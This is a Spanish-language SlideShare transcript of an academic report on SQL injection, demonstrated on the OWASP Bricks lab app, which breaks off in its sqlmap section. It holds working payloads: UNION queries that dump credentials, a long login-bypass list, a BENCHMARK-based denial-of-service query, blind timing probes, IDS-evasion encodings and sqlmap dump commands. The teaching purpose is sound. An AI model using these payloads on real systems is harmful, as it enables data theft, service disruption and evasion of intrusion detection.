SlideShare una empresa de Scribd logo
1 de 41
Descargar para leer sin conexión
Calidad, Seguridad y Auditoría
Informática
Herramientas y Técnicas
de Inyección SQL
David Albela Pérez
Este obra está bajo una licencia de Creative Commons Reconocimiento-NoComercial 3.0 España.
Tabla de Contenidos
1.Introducción.......................................................................................................................................8
2.Que es Inyección SQL.......................................................................................................................8
2.1.Factores de Riesgo.....................................................................................................................8
2.2.Canales de ataque.......................................................................................................................8
2.3.Tipos de Inyección.....................................................................................................................9
3.Entorno de pruebas............................................................................................................................9
3.1.Instalación..................................................................................................................................9
3.2.Contenido de OWASP Bricks..................................................................................................10
4.Inyecciones basadas en errores........................................................................................................11
4.1.Validar inyección SQL.............................................................................................................11
4.2.Obtener el número de columnas de la tabla.............................................................................11
4.3.Añadir consultas......................................................................................................................12
4.4.Obviar las comillas de la consulta original..............................................................................13
4.5.Inyección SQL en formularios de inicio de sesión..................................................................14
5.Recuperación y extracción de información.....................................................................................16
5.1.Parámetros y variables globales del SGBD.............................................................................17
5.2.Funciones y operaciones..........................................................................................................18
5.2.1.Denegación de Servicio....................................................................................................19
5.3.Esquema de la base de datos y extracción de datos.................................................................19
5.3.1.Obtener los nombres de las bases de datos......................................................................20
5.3.2.Obtener el nombre de las tablas de una base de datos.....................................................20
5.3.3.Obtener las columnas de una tabla...................................................................................21
5.3.4.Extracción de los datos de una tabla................................................................................21
6.Inyección SQL Ciega.......................................................................................................................23
6.1.Inyección parcialmente ciega...................................................................................................23
6.1.1.Comprobar si es posible realizar la inyección..................................................................23
6.1.2.Comprobar la versión de MySQL....................................................................................23
6.1.3.Buscar el nombre de la tabla............................................................................................24
6.2.Inyección totalmente ciega......................................................................................................24
6.2.1.Comprobar que es posible realizar la inyección SQL......................................................24
6.2.2.Comprobar versión de MySQL........................................................................................25
6.2.3.Obtener nombres de tablas o columnas............................................................................25
7.Ofuscación de inyecciones SQL......................................................................................................26
7.1.Utilizando los comentarios......................................................................................................26
7.2.Ofuscación con codificación de la URI...................................................................................27
7.3.Trampas o Decoys....................................................................................................................27
7.4.Ofuscación híbrida...................................................................................................................27
7.5.Otros problemas derivados de los IDPS..................................................................................28
8.Herramientas para la automatización de inyección SQL.................................................................28
8.1.SQLMap...................................................................................................................................28
8.1.1.Instalación y ejecución.....................................................................................................28
8.1.2.Fingerprinting con SQLMap............................................................................................29
8.1.3.Recuperación de tablas.....................................................................................................31
8.1.4.Obtener columnas de una tabla........................................................................................31
8.1.5.Extracción de los datos de la tabla users..........................................................................32
8.2.SQLNinja.................................................................................................................................33
8.2.1.Instalación........................................................................................................................33
8.2.2.Configuración...................................................................................................................34
8.2.3.Ejecución..........................................................................................................................34
8.3.The Mole..................................................................................................................................35
8.3.1.Instalación y ejecución.....................................................................................................35
8.3.2.Extracción de datos..........................................................................................................35
8.4.Otras herramientas...................................................................................................................38
8.4.1.Havij.................................................................................................................................38
8.4.2.Pangolin...........................................................................................................................39
8.5.SQLiFuzzer..............................................................................................................................39
9.Inyección SQL en bases de datos NoSQL.......................................................................................40
9.1.Inyección SQL en MongoDB..................................................................................................41
10.Conclusiones..................................................................................................................................41
11.Referencias....................................................................................................................................41
1. Introducción
En esta memoria se describen los principales tipos de inyección SQL y se realiza un análisis
práctico sobre inyección SQL.
En un primer lugar se abordan los diferentes tipo de inyección clásicos y como es posible
prevenirlos. Se realiza la instalación de una aplicación vulnerable sobre la que se abordan distintas
técnicas de inyección.
En segundo lugar se explican diferentes técnicas de ofuscación de inyección SQL para la
evasión de reglas en IDS/IPS. Además se describen las posibles debilidades en los sistemas de
detección y prevención de ataques.
Finalmente se prueban herramientas de inyección SQL como SQLMap1
, SQLNinja2
o The
Mole3
.
2. Que es Inyección SQL
El término de inyección SQL hace referencia a un conjunto de técnicas para la inserción de
consultas SQL no permitidas sobre recursos de un sitio web con contenido en una base de datos con
el objeto de extraer información de la base de datos, realizar un análisis de fingerprinting del
servidor objetivo o denegar el servicio.
La inyección está considerada como el principal tipo de ataque dentro del Top 10 de OWASP4
del 2013.
Entre las técnicas más comunes está el uso de comentarios sobre peticiones Get de HTML
añadiendo nuevas sentencias de consultas SQL. El error típico del lado del programador es no
parametrizar las sentencias de SQL mediante parámetros. Como se verá más adelante, existen otras
técnicas como el uso de concatenación con la cláusula UNION, obviar columnas con NULL,
concatenación o incluso evasión de firma con el uso de comentarios.
2.1. Factores de Riesgo
Una aplicación con posibilidad de realizar inyección SQL tiene el riesgo de ser susceptible a
ataques de todo tipo, desde extracción de datos, acceso administrativo a la aplicación, denegación
de servicio, distribución de payloads5
maliciosos o incluso realizar pivoting para atacar otros puntos
desde el servidor comprometido.
2.2. Canales de ataque
Para realizar los ataques se definen tres canales de ataque:
• Inband: Los datos se extraen usando el mismo canal de la inyección SQL, es decir, se
presentan en la aplicación según se realiza la inyección.
1 SQLMap: http://sqlmap.org
2 SQLNinja: http://sqlninja.sourceforge.net
3 The Mole: http://themole.sourceforge.net
4 Top 10 OWASP: https://www.owasp.org/index.php/Top_10_2013-Top_10
5 SQL Injection Payload: http://blog.detectify.com/post/51651525114/the-ultimate-sql-injection-payload
Ejemplo: cuando se muestran los datos de un producto en la aplicación y la inyección
permite obtener otros resultados. Es el canal más utilizado en estos ataques.
• Out of band: Los datos se recuperan a partir de un canal distinto.
Ejemplo: Un formulario de recuperación de contraseña o usuario que envía un correo
electrónico con los resultados de la consulta SQL.
• Inferencial: No se devuelve ningún resultado de la inyección, pero el atacante es capaz de
reconstruir la información a partir de los resultados obtenidos de la consulta SQL.
Ejemplo: Consultas que no devuelven los datos, pero que es posible recuperar a partir
de los resultados.
2.3. Tipos de Inyección
En tipo de inyección dado en una aplicación define la calidad del ataque y la necesidad de
realizar o no una automatización más sofisticada que la simple ejecución del mismo.
Hay dos tipos de inyección:
• Basadas en errores: Es el ataque más fácil de ejecutar. Se devuelven los datos a través del
mismo canal de ataque.
• Inyecciones ciegas o Blind Injection: Los datos pueden devolverse por un canal out of
band o inferencial. Se pueden distinguir dos tipos.
◦ Parcialmente ciegas: se puede inyectar código SQL pero solo se ven ciertos resultados, y
no los datos.
◦ Totalmente ciegas: se puede inyectar código SQL pero no se observa ninguna alteración.
3. Entorno de pruebas
Para realizar los ejemplos de inyección SQL se realizará la instalación de un entorno de
pruebas con la aplicación web OWASP Bricks6
. OWASP Bricks es una aplicación web escrita en
PHP y MySQL orientada a los problemas más comunes en el desarrollo de aplicaciones. Incluye
problemas típicos como SQL Injection que pueden ser probados en un entorno de pruebas para
pentesting con el objetivo de aprendizaje de aspectos a tener en cuenta a la hora de realizar
aplicaciones.
Otras aplicaciones web muy interesantes para pruebas de intrusión se describen en el blog de
Taddong7
.
3.1. Instalación
Para la instalación del OWASP Bricks es necesario PHP, MySQL y Apache Web Server. A
continuación se describe la instalación para distribuciones basadas en Debian.
1. Instalación de paquetes
$ sudo apt-get update
$ sudo apt-get install apache2 mysql-server mysql-client php5 php5-mysql
2. Crear base de datos
6 OWASP Bricks: http://sechow.com/bricks/download.html
7 Aplicaciones web para pentesting: http://blog.taddong.com/2011/10/hacking-vulnerable-web-applications.html
$ mysql -u root -p
mysql> create database bricks;
mysql> grant all ON bricks.* TO user_bricks@localhost IDENTIFIED BY 'bricks';
3. Descargar OWASP Bricks y descomprimir en directorio de apache
$ wget http://sourceforge.net/projects/owaspbricks/files/Tuivai%20-%202.2/OWASP%20Bricks%20-
%20Tuivai.zip/download -O /var/www/owasp_bricks.zip
$ cd /var/www/
$ unzip OWASP%20Bricks%20-%20Tuivai.zip
$ cd bricks
4. Editar la configuración de Bricks
$ vim /var/www/bricks/LocalSettings.php
# Cambiar los siguientes datos
$dbuser = 'bricks_user'; //MySQL database username
$dbpass = 'bricks'; //MySQL database password
$dbname = 'bricks'; //MySQL database name
5. La versión de Bricks utiliza para la conexión la función mysql_connect8
, obsoleta a partir de
Php 5.5. Para evitar avisos Deprecated se puede quitar en el fichero php.ini:
$ vim /etc/php5/apache2/php.ini
error_reporting = E_ALL ^ E_DEPRECATED
En el include de Bricks también se puede deshabilitar los reportes de errores:
$ vim bricks/includes/MySQLHandler.php
ini_set('display_errors',1);
6. Instalar la base de datos
Ir al sitio web http://localhost/bricks/config/index.php
Pulsar el enlace Setup/reset database.
En la documentación oficial9
se encuentra disponible la instalación para Windows utilizando
Wamp Server.
3.2. Contenido de OWASP Bricks
La aplicación Bricks se divide en tres secciones diferentes: páginas de inicio de sesión, páginas
de subir ficheros y páginas de contenido.
Para las pruebas se utilizarán las siguientes páginas de contenido y login de Bricks:
8 Mysql_connect de PHP: http://php.net/manual/es/function.mysql-connect.php
9 Instalación OWASP Bricks: http://sechow.com/bricks/docs/installation.html
Figura 1: Configuración
inicial de Bricks.
• content-1: Parámetro entero por GET sin entrecomillar.
• content-2: Parámetro string por GET entrecomillado.
• login-1: Formulario POST con verificación de usuario y contraseña.
• login-3: Formulario POST con verificación de usuario y contraseña entre paréntesis.
4. Inyecciones basadas en errores
A continuación se detallan una serie de técnicas básicas de inyección basadas en error. Para ello
se utiliza la página de Bricks content-1, la cual obtiene un identificador a través del parámetro de url
id. Para la inyección sobre sentencias con entrecomillado se utiliza la página de content-2.
4.1. Validar inyección SQL
Las forma más sencilla de comprobar que se puede explotar inyección SQL es añadir una
condición a mayores, por ejemplo AND 1=1.
Si el resultado de la página original se sigue mostrar, se comprueba forzando que la condición
sea falsa AND 1=2. Si la petición no da ningún resultado, la condición añadida está funcionando y
el sitio es explotable.
Ejemplos: localhost/bricks/content-1/index.php?id=0 and 1=2
4.2. Obtener el número de columnas de la tabla
Para buscar el número de columnas se utiliza la cláusula Order by indicando el número de
columnas hasta que el resultado de la consulta devuelva un error por columna inexistente. Esto
permite realizar nuevas consultas con UNION.
Ejemplos:
• localhost/bricks/content-1/index.php?id=0 order by 8
Figura 2: La consulta permite añadir más condiciones
where, con 1=2 se impide la carga de datos de la consulta
original.
• localhost/bricks/content-1/index.php?id=0 order by 9
En el ejemplo, la tabla de la página de resultado tiene hasta 8 columnas.
4.3. Añadir consultas
Con la cláusula UNION se pueden añadir más consultas. Para ello solo es necesario que la
segunda consulta tenga el mismo número de columnas que la consulta original. Las columnas
innecesarias se pueden rellenar con NULL, números o caracteres.
Para mostrar el resultado de la segunda consulta basta con hacer falta la condición de la
primera o recurrir a la cláusula LIMIT.
Ejemplos:
• Consulta con números o campos a null:
localhost/bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8
localhost/bricks/content-1/index.php?id=0 UNION SELECT
null,null,null,null,null,null,null,null
• Como la página muestra solo el primer resultado obtenido, es necesario forzar para que se
muestre el resultado de la segunda consulta. Para ello existen dos métodos:
◦ Forzando a falso la condición de la primera consulta:
▪ Con una condición and false
localhost/bricks/content-1/index.php?id=0 AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8
▪ Con un identificador inexistente
Figura 3: Al menos existen 8 columnas en la tabla.
Figura 4: No encuentra la columna 9, solo hay 8
columnas en la tabla.
localhost/bricks/content-1/index.php?id=9999999999 UNION SELECT 1,2,3,4,5,6,7,8
◦ Usando la cláusula LIMIT. Requiere comentar el final de línea ya que la consulta
original ya incluye esta clausula.
localhost/bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT
1,1--
4.4. Obviar las comillas de la consulta original
Los parámetros indicados en la petición HTTP Get suelen añadir a las consultas del código
entre comillas. Pero esto no impide que un sitio web sea explotable. La página de Bricks content-2
busca los datos por nombre de usuario entre comillas simples:
$sql = "SELECT * FROM users WHERE name='$user'";
El código es vulnerable a una inyección SQL abriendo y cerrando las comillas.
Ejemplo: localhost/bricks/content-2/index.php?user=harry' and 1='1
Figura 5: La cláusula LIMIT permite seleccionar que
registros mostrar, obviando la consulta original.
Figura 6: El valor del atributo name se coloca entre
comillas.
También es posible cerrar la comilla antes de tiempo y comentar la comilla del código original.
Como es necesario que los comentarios de línea incluyan un espacio a continuación se utiliza el
símbolo + equivalente al espacio en la codificación de url.
4.5. Inyección SQL en formularios de inicio de sesión
Si la consulta de comprobación de credenciales de usuario no está convenientemente
parametrizada, la validación de contraseña puede saltarse fácilmente.
La siguiente línea de código pertenece a la página de OWASP Bricks login-1/index.php:
$sql="SELECT * FROM users WHERE name='$username' and password='$pwd'";
Introduciendo en el formulario de login un nombre de usuario, tom, y en el campo de texto
contraseña la cadena ' OR '1'='1 se está forzando a que la consulta sea siempre cierta.
Figura 7: Cerrar la comilla del parámetro name y volver
a cerrar con una nueva condición en la cláusula WHERE.
Figura 8: Los comentarios de linea permiten obviar el
cierre de comillas del código original.
El ejemplo de la página login-3/index.php incluye los valores entre paréntesis.
$sql="SELECT * FROM users WHERE name=('$username') and password=('$pwd') LIMIT 0,1";
Se puede saltar con cadenas de texto que cierren el paréntesis correctamente o terminen con
commentario.
como ') or 1=('1 para la contraseña o ') or 1=(1)-- - en campo de usuario.
Otras cadenas válidas para un formulario de inicio de sesión vulnerable a inyección SQL pueden ser
las que se citan a continuación:
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
Figura 9: La página de login acepta comillas, la consulta
de validación no está correctamente parametrizada.
Figura 10: La cadena ') or 1=('1')-- - en username fuerza
a que la consulta sea verdadera a pesar de no conocer la
contraseña.
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
==
and 1=1--
and 1=1
' or 'one'='one--
' or 'one'='one
' and 'one'='one
' and 'one'='one--
1') and '1'='1--
admin' --
admin' #
admin'/*
or 1=1--
or 1=1#
or 1=1/*
) or '1'='1--
) or ('1'='1--
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
'or'1=1'
Otras posibles opciones de ataque en los formularios se pueden encontrar en el blog de Zerofreak10
.
5. Recuperación y extracción de información.
Hasta ahora se ha visto que si el código no filtra las consultas convenientemente se pueden añadir
consultas nuevas con la cláusula UNION. Con las segunda consulta se puede obtener información
de la base de datos.
Se puede realizar fingerprinting11
utilizando los parámetros y funciones del gestor de base de datos.
10 Blog Zerofreak: http://zerofreak.blogspot.com.es/2012/01/chapter2-basic-sql-injection-with-login.html
11 OS fingerprinting: http://www.forensicswiki.org/wiki/OS_fingerprinting
5.1. Parámetros y variables globales del SGBD
Los parámetros en un gestor de base de datos pueden ser útiles para obtener información del gestor
de bases de datos e incluso del sistema operativo. MySQL utiliza variables globales para definir
información como estado del registro de logs, ficheros utilizados por el gestor y datos de la versión,
arquitectura y sistema operativo.
Algunos datos interesantes sobre la versión:
• @@version: indica la versión de MySQL.
• @@version_compile_machine: indica la arquitectura.
• @@version_compile_os: provee información de la versión del sistema operativo.
Se puede obtener la lista de variables disponibles en MySQL con la sentencia show para mysql-
client.
mysql> show variables;
Se puede acceder a los valores de una variable con la sentencia SELECT y usando @@
delante del nombre de la variable.
localhost/bricks/content-1/index.php?id=0 UNION SELECT
@@version,@@version_compile_machine,@@version_compile_os,4,5,6,7,8 LIMIT 1,1--
Figura 11: La sentencia show muestra la lista de variables globales
de MySQL.
5.2. Funciones y operaciones
Los gestores de bases de datos suelen incluir funciones y procedimientos almacenados. En la
documentación oficial de MySQL12
está disponible la lista de funciones que devuelven algún tipo
de información, como el nombre de la base de datos o el nombre del usuario de la conexión.
• database()/schema(): nombre del esquema de la base de datos.
• connection_id(): indentificador de la conexión a la base de datos.
• user()/system_user()/session_user(): indican el nombre de usuario de la conexión a la base
de datos.
• localtime(): hora local del sistema.
Ejemplo: localhost/bricks/content-1/index.php?id=0 UNION SELECT
database(),user(),connection_id(),4,5,6,7,8 LIMIT 1,1--
Ahora se tiene disponible el nombre de la base de datos y el usuario que accede a ella.
12 Documentación MySQL sobre funciones: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html
Figura 12: Las variables globales y parámetros del SGBD
permiten obtener información relevante.
Figura 13: Algunos SGBD tienen funciones que
proporcionan información como el nombre de la base de
datos o el usuario de conexión.
5.2.1. Denegación de Servicio
Algunas funciones del gestor de base de datos permiten realizar operaciones de cálculo. En
MySQL se puede llegar a realizar una denegación del servicio sobrecargando la base de datos con
las siguientes operaciones:
• benchmark(count, expr): Es una función que realiza la expresión expr tantas veces como se
indique en count.
• SHA1(str)/SHA(str): Calcula el hash para el valor dado en str.
Para realizar una consulta varias veces se puede utilizar la consulta SELECT con la función
Benchmark:
mysql> SELECT BENCHMARK(1000000,SHA1(1));
Concatenando la función es posible colgar la base de datos: BENCHMARK(999999,
SHA1(BENCHMARK(999999, SHA1(..., SHA1(SHA1(0x65)))))).
Ejemplo: localhost/bricks/content-1/index.php?id=0 AND 1=2 UNION SELECT
benchmark(9999999999999999999999999999, sha1(sha1(0x65))),2,3,4,5,6,7,8
Aunque se cierre el navegador, la consulta sigue en ejecución en el servidor ralentizando el
funcionamiento de la base de datos.
5.3. Esquema de la base de datos y extracción de datos
Para obtener los datos de la base de datos es necesario conocer el esquema. Los SGBD
normalmente incluyen un catálogo del sistema o diccionario de datos que proporciona acceso a los
metadatos tales como el nombre de la base de datos, tablas, tipo de datos de una columna, o
permisos de acceso.
En MySQL se puede acceder al catálogo del sistema information_schema13
.
13 Information Schema: http://dev.mysql.com/doc/refman/5.0/es/information-schema.html
Figura 14: Cálculo de SHA1 en MySQL
repetido varias veces en la misma consulta.
Figura 15: El proceso de mysqld ocupa el 100% del hilo de CPU
asignado.
Es posible obtener los nombre de los esquemas de bases de datos. Conociendo el nombre de la
base de datos se puede listar el nombre de las tablas utilizando information_schema, así como el
nombre de las columnas de cada tabla.
5.3.1. Obtener los nombres de las bases de datos
Utilizando la tabla schemata del catálogo information_schema se puede obtener las bases de
datos accesibles por el usuario de la conexión.
Como la página solo muestra un único resultado, se utiliza la cláusula GROUP_CONCAT para
concatenar los resultados en un única tupla y separados por comas.
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
user(),GROUP_CONCAT(schema_name),3,4,5,6,7,8 from information_schema.schemata
5.3.2. Obtener el nombre de las tablas de una base de datos
Para obtener el nombre de las tablas de una la base de datos se usa la tabla tables de
information_schemas.
Figura 16: Tablas del
catálogo
information_schema de
MySQL.
Figura 17: El usuario tiene acceso a tres bases de datos.
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
user(),GROUP_CONCAT(table_name),3,4,5,6,7,8 from information_schema.tables WHERE
table_schema='bricks'
5.3.3. Obtener las columnas de una tabla
El catálogo information_schema incluye información de las columnas de las tablas en columns.
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
user(),GROUP_CONCAT(column_name),3,4,5,6,7,8 from information_schema.columns WHERE
table_name='users'
5.3.4. Extracción de los datos de una tabla
Ya se tiene información del nombre de la base de datos, tabla y columnas. Ahora solo es
necesario obtener las credenciales de usuario.
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
GROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8
from users
Figura 18: Tablas de la base de datos bricks.
Figura 19: Los nombres de las columnas de la tabla
users.
La función GROUP_CONTACT también permite incluir varios atributos y caracteres de
separación. Los caracteres de separación se deben incluir en código ASCII hexademical. 0x3a0a
equivale a los dos puntos y un espacio:
localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECT
GROUP_CONCAT(idusers), GROUP_CONCAT(name,0x3a0a,password),
GROUP_CONCAT(email,0x3a0a,ua,0x3a0a,ref,host,0x3a0a,lang), 4,5,6,7,8 from users
En caso de que la sentencia sql original entrecomille el valor del parámetros, basta con cerrar la
comilla en el valor del parámetro id y terminar la url con el comentario de línea y un espacio (--+).
Ejemplo: localhost/bricks/content-1/index.php?id=1' UNION SELECT
GROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8
from users LIMIT 1,1--+
Figura 20: Extracción de información como nombre, email y
contraseña de los usuarios.
Figura 21: Obtención de todos los datos de la tabla
'users'.
6. Inyección SQL Ciega
El ataque mediante inyección ciega o blind SQL injection no difiere de las técnicas basadas en
errores. Pero dado que no se pueden obtener los datos directamente es necesario realizar una serie
de técnicas utilizando condicionales.
6.1. Inyección parcialmente ciega
Los datos de la consulta no son devueltos, sin embargo es posible saber si algo ocurre
recibiendo respuestas como por ejemplo un error de sintaxis.
Para los ejemplos se modifica el contenido de Bricks content-1/index.php comentando la
muestra de datos del usuario:
if ($content = mysql_fetch_array($result)) {
// echo '<br/>User ID: <b>'. $content['idusers'].'</b><br/><br/>';
// echo 'User name: <b>'. $content['name'].'</b><br/><br/>';
// echo 'E-mail: <b>'. $content['email'].'</b><br/><br/>';
6.1.1. Comprobar si es posible realizar la inyección
localhost/bricks/content-1/index.php?id=0 AND 1=2
6.1.2. Comprobar la versión de MySQL
localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT
IF(SUBSTRING(@@version,1,4)=5.1.,1,0))
Figura 23: Comprobar si la versión de MySQL es la 5.1.
Figura 22: La condición SQL forzada a no obtener los
datos nos indica que no existe el usuario.
La sentencia SELECT @@version incluye un condicional para comprobar si la versión de
MySQL comienza por “5.1.”.
En caso de que la condición sea cierta, devuelve 1 y el resultado de la consulta SQL es
verdadera obteniendo el mismo resultado.
Si la condición es falta, la versión de MySQL no es la 5.1, el resultado de la consulta SQL es
falta obteniendo el error de que el usuario no existe.
6.1.3. Buscar el nombre de la tabla
Es posible realizar la búsqueda de tablas por fuerza bruta en la base de datos utilizando la
misma técnica condicional.
localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROM
information_schema.tables WHERE table_name='users')>0,1,0))
Al igual que en el caso de versión de MySQL se puede comprobar la existencia de ciertas
tablas o columnas en el esquema de base de datos utilizando la cláusula count y la condición mayor
a 0.
6.2. Inyección totalmente ciega
Cuando no se observa ningún tipo de alteración en la aplicación pero es posible realizar una
inyección SQL.
En este caso se sigue utilizando técnicas sobre las condiciones de la consulta original pero
utilizando funciones de repetición como Benchmark14
para MySQL.
Para los ejemplos se modifica el contenido de Bricks content-1/index.php comentando la
muestra de datos del usuario y además la línea que indica que no se encontró el usuario en la
consulta original.
// echo 'Error! User does not exists';
6.2.1. Comprobar que es posible realizar la inyección SQL
localhost/bricks/content-1/index.php?id=0 AND 1=BENCHMARK(199990000,SHA(0x61))
14 MySQL Benchmark function: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html
Figura 24: Al buscar la tabla users en el esquema de la
BD no se obtiene ningún error.
6.2.2. Comprobar versión de MySQL
localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT
IF(SUBSTRING(@@version,1,1)=5,BENCHMARK(9999999,SHA(0x61)),0))
Si la página tarda en cargar es se cumple la condición deseada.
6.2.3. Obtener nombres de tablas o columnas
La misma técnica se puede realizar para buscar nombres de tablas o columnas en el esquema de
datos.
localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROM
information_schema.tables WHERE
table_name='users')>0,BENCHMARK(9999999,SHA(0x61)),0))
Figura 25: El tiempo de carga es mayor si la condición se
cumple.
Figura 26: El tiempo de carga es mayor si la versión de
MySQL es igual a 5.
Figura 27: Verificar que la tabla users existen con la
ejecución de la función benchmark.
7. Ofuscación de inyecciones SQL
Los IDS/IPS son sistemas de detección y prevención de ataques. Snort15
Suricata16
y es un
sistema de detección de intrusos (IDS) y prevención de intrusos (IPS) open source basados en
firmas o reglas.
Se puede descargar e instalar reglas gratuitas desde el sitio oficial o comprar las más avanzadas.
También permiten personalizar reglas propias. A continuación se muestran reglas sencillas de
detección de inyección SQL para Snort:
• Detectar comillas o comentarios en la url (incluido en hexadecimal):
# Detect ' or -- or in hexadecimal and “#”
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection - Paranoid";pcre:"/(%27)|(')|(--)|(%23)|(#)/i"; classtype:Web-
application-attack; sid:9099; rev:5;)
• Detectar la cláusula UNION en la url (incluido en hexadecimal):
# Detect Union
alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection - Paranoid";pcre:"/union/ix"; classtype:Web-application-attack;
sid:9099; rev:5;)
Sin embargo, existen técnicas que podría permitir evadir las reglas del IDS si no son lo
suficientemente robustas. Además, si el IDS/IPS está mal configurado, hay otros métodos para
evadir la detección del ataque.
A continuación se describen varias técnicas para la ofuscación de inyecciones SQL.
7.1. Utilizando los comentarios
Ejemplos:
localhost/bricks/content-1/index.php?
id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/GROUP_CONCAT%28name
%29,2,3,4,5,6,7,8/**/from/**/users
15 IDS Snort: http://www.snort.org
16 Suricada IDS/IPS: http://suricata-ids.org
Figura 28: Evasión de firmas de Snort usando
comentarios.
7.2. Ofuscación con codificación de la URI
Convertir las cadenas de texto a codificación hexadecimal. Existen sitios web17
donde es posible
realizar la codificación y obtener el código codificado para html.
Ejemplos: localhost/bricks/content-1/index.php?id=%31%20%41%4e%44%20%31%3d
%32%20%55%4e%49%4f%4e%20%53%45%4c
%45%43%54%20%40%40%76%65%72%73%69%6f%6e%2c%32%2c%33%2c%34%2c%35%2c
%36%2c%37%2c%38
7.3. Trampas o Decoys
Los sistemas IDS basados en firmas tiene reglas con patrones de validaciones. Cuando una
regla encuentra un paquete que considera potencialmente peligroso alerta o detiene el tráfico.
Pero con las sentencias que incluyan comentarios como en el ejemplo:
/* <Decoy Keywords> */ SELECT @@version;
El comentario incluye se introduce un código trampa o Decoy, que incluye una cadena
específica para hacer que salte una alerta del IDPS para ese comentario pero que deje pasar el resto
de la consulta.
7.4. Ofuscación híbrida
Mezclar la codificación hexadecimal con el uso de
Ejemplos: localhost/bricks/content-1/index.php?id=1/**/AND%2f%2a%2a%2f1%3d2/**/UNI
%4f%4e SELE%43%54 %40%40version%2c2%2c3%2c4%2c5%2c6%2c7%2c8
17 Text to Hex online converter: http://www.swingnote.com/tools/texttohex.php
Figura 29: Ofuscación de la inyección SQL utilizando
codificación hexadecimal.
7.5. Otros problemas derivados de los IDPS
Los sistemas de detección y prevención de intrusos no son inmunes a los puntos débiles, sin
embargo una configuración mal realizada como el uso de conexiones cifradas a través del protocolo
TLS/SSL permiten al atacante evadir las reglas de detección de una inyección fácilmente. Otro
problema en los IDPS es tener habilitado el uso de compresión en las comunicaciones con el
servidor web y no analizar su contenido. Hasta la versión de Snort 2.9.2.018
la opción por defecto de
la directiva inspect_zip era no analizar el contenido comprimido.
8. Herramientas para la automatización de inyección SQL
Hay varias herramientas para realizar auditorías de inyección SQL, muchas de ellas de software
libre e incluidas en las principales distribuciones GNU/Linux para pentesting.
A continuación se realiza un análisis práctico con algunas de estas herramientas en el entorno
de pruebas de Bricks.
8.1. SQLMap
SQLMap es una herramienta open source en línea de comandos que realiza pruebas de
inyección SQL automáticas con características como tracking de la base de datos, fingerprinting y
extracción de datos.
Soporta múltiples sistemas gestores de bases de datos como Oracle, Microsoft SQL Server,
MySQL, PostgreSQL, DB2 o SQLite. Utiliza técnicas clásicas basadas en error o inyección ciega.
Está escrita en Python con lo cual se puede instalar en cualquier sistema operativo con
intérprete de Python. El código fuente se puede obtener de GitHub e incluye un wiki con bastante
documentación19
.
Destaca por ser una herramienta muy robusta y fácil de manejar.
8.1.1. Instalación y ejecución
$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
18 Snort with inspect_gzip: http://blog.snort.org/2012/01/snort-2920-javascript-normalization.html
19 SQLMap wiki usage: https://github.com/sqlmapproject/sqlmap/wiki/Usage
Figura 30: Ofuscación híbrida utilizando comentarios y
codificación hexadecimal.
$ cd sqlmap-dev
$ python sqlmap.py -h
8.1.2. Fingerprinting con SQLMap
Para ejecutar SQLMap contra un objetivo se debe indicar la página completa con el recurso
incluido.
$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" -f --banner --dbs –
users
En un primer análisis detecta que posiblemente sea una base de datos MySQL y que el
parámetro id puede ser explotable.
Figura 31: Ayuda de sqlmap.py.
Figura 32: Análisis de un sitio web con SQLMap.
Figura 33: Obtención de versión del gestor de BD y de columnas de la tabla.
SQLMap realiza comprobaciones de las versiones de MySQL e inyecciones de pruebas con la
cláusula UNION y Orber By para obtener el número de columnas de la tabla, encontrando 8
columnas en la consulta.
Se comprueban varias técnicas de inyección para determinar cuales son efectivas.
En base a las técnicas posibles a realizar, SQLMap realiza fingerprinting para recuperar las
versiones instaladas en el servidor, usuario de acceso a la base de datos y los nombres de las bases
de datos.
Figura 34: SQLMap lanza varias inyecciones SQL de prueba.
Figura 35: Fingerprinting y extracción de los esquemas de bases de datos.
8.1.3. Recuperación de tablas
Una vez que se conocen los nombres de los esquemas de bases de datos se puede extraer la
información de tablas con la opción --tables e indicando el nombre de base de datos con la opción
-D
$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --tables -D bricks
8.1.4. Obtener columnas de una tabla
$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --columns -D bricks -T users
Figura 36: SQLMap recupera las versión de MySQL, usuario y esquemas de base de
datos.
Figura 37: Recuperación de tablas en una base de datos.
8.1.5. Extracción de los datos de la tabla users
$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" --dump -D bricks -T users
SQL recupera y almacena los datos en un fichero csv. Además determina que la columna
password puede contener contraseñas y permite automatizar su recuperación a través de diccionario.
